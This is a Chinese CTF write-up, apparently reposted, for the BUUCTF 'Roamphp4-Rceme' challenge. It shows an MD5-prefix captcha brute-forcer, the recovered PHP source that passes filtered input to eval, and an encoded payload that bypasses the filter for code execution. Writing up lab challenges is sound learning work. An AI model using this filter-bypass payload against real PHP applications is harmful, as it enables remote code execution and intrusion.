欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 文旅 > 美景 > 136,【3】 buuctf web [极客大挑战 2020]Roamphp4-Rceme

136,【3】 buuctf web [极客大挑战 2020]Roamphp4-Rceme

2025/4/19 11:27:29 来源:https://blog.csdn.net/2402_87039650/article/details/145642354  浏览:    关键词:136,【3】 buuctf web [极客大挑战 2020]Roamphp4-Rceme

进入靶场 

if:substr(md5($code),0,5)==4a94f 

对 $code 进行 MD5 哈希运算,然后取结果的前 5 个字符
判断取出来的前 5 个字符是否等于 "4a94f"

 

import hashlib
import itertools
import string# 目标 MD5 哈希值的前 5 个字符
target = "4a94f"# 定义字符集,这里包含所有小写字母、大写字母和数字
charset = string.ascii_letters + string.digits# 从较短的字符串长度开始尝试
for length in range(1, 10):# 生成所有可能的字符组合for combination in itertools.product(charset, repeat=length):test_string = ''.join(combination)# 计算字符串的 MD5 哈希值md5_hash = hashlib.md5(test_string.encode()).hexdigest()# 截取 MD5 哈希值的前 5 个字符md5_prefix = md5_hash[:5]# 检查是否匹配目标值if md5_prefix == target:print(f"找到匹配的 code 值: {test_string}")breakelse:# 如果内层循环没有被 break 中断,则继续尝试更长的字符串continue# 如果内层循环被 break 中断,说明已经找到匹配值,跳出外层循环break
else:print("未找到匹配的 code 值。")

JWl 

 

 

 

 看看源代码

 找到一张图片

扫描后是

EGG{a_6ea4t1441_e99_in_QR_c0de}

去抓包

 

 vim swp

 

 三次都尝试之后,我才反应过来,我输的是文件的格式.........

带个文件名看看

找到一个

 

点开看看

 先去官网下载能打开这个文件的软件

下载好后在cmd输入命令

vim -r /path/to/your/file.swp

/path/to/your/file.swp 替换为你实际的 .swp 文件路径

恢复后的内容就会写入到这个文件中

<?php
// 设置错误报告级别为 0,即不显示任何 PHP 错误信息,避免泄露敏感信息
error_reporting(0);// 启动会话,用于存储和管理用户的会话数据
session_start();// 检查会话中是否已经设置了 'code' 变量
if(!isset($_SESSION['code'])){// 如果会话中未设置 'code' 变量,则生成一个新的验证码// 生成两个随机数,分别进行 sha1 和 md5 哈希处理,然后拼接结果// 最后截取拼接后字符串的前 5 个字符作为验证码$_SESSION['code'] = substr(md5(mt_rand().sha1(mt_rand)),0,5);// 以上步骤获得验证数字
}// 检查是否通过 POST 方法传递了 'cmd' 和 'code' 参数
if(isset($_POST['cmd']) and isset($_POST['code'])){// 对用户通过 POST 方法提交的 'code' 参数进行 md5 哈希处理,并截取前 5 个字符// 检查该结果是否与会话中存储的验证码不相等if(substr(md5($_POST['code']),0,5) !== $_SESSION['code']){// 如果不相等,说明验证码输入错误// 使用 JavaScript 的 alert 函数弹出提示框,提示用户验证码错误// 然后使用 history.back() 方法让用户返回上一页die('<script>alert(\'Captcha error~\');history.back()</script>');}// 如果验证码验证通过,生成一个新的验证码并更新会话中的 'code' 变量$_SESSION['code'] = substr(md5(mt_rand().sha1(mt_rand)),0,5);// 将用户通过 POST 方法提交的 'cmd' 参数赋值给变量 $code$code = $_POST['cmd'];// 检查 $code 的长度是否超过 70 个字符,或者是否包含指定的字符// 使用 preg_match 函数进行正则表达式匹配,检查是否包含字母、数字、各种符号等if(strlen($code) > 70 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/ixm',$code)){// 如果满足上述条件之一,说明输入不符合要求// 使用 JavaScript 的 alert 函数弹出提示框,提示用户输入不被允许// 然后使用 history.back() 方法让用户返回上一页die('<script>alert(\'Longlone not like you~\');history.back()</script>');} // 使用 preg_replace 函数对 $code 进行处理,移除所有函数调用// 然后检查处理后的结果是否等于 ';'else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){// 如果满足条件,则使用 eval 函数执行 $code 中的代码// @ 符号用于抑制可能出现的错误信息@eval($code);// 执行完代码后终止脚本执行die();}
}

 要通过post方式

再抓包

[极客大挑战 2020]Roamphp 1、2、4_[极客大挑战 2020]rceme-CSDN博客

cmd 
= '[~%89%9E%8D%A0%9B%8A%92%8F][~%CF]([~%91%9A%87%8B][~%CF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][~%CF]()));'
raw_data 
= f'code={code}&cmd={cmd}'

code=916558

传递即可 

 

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

热搜词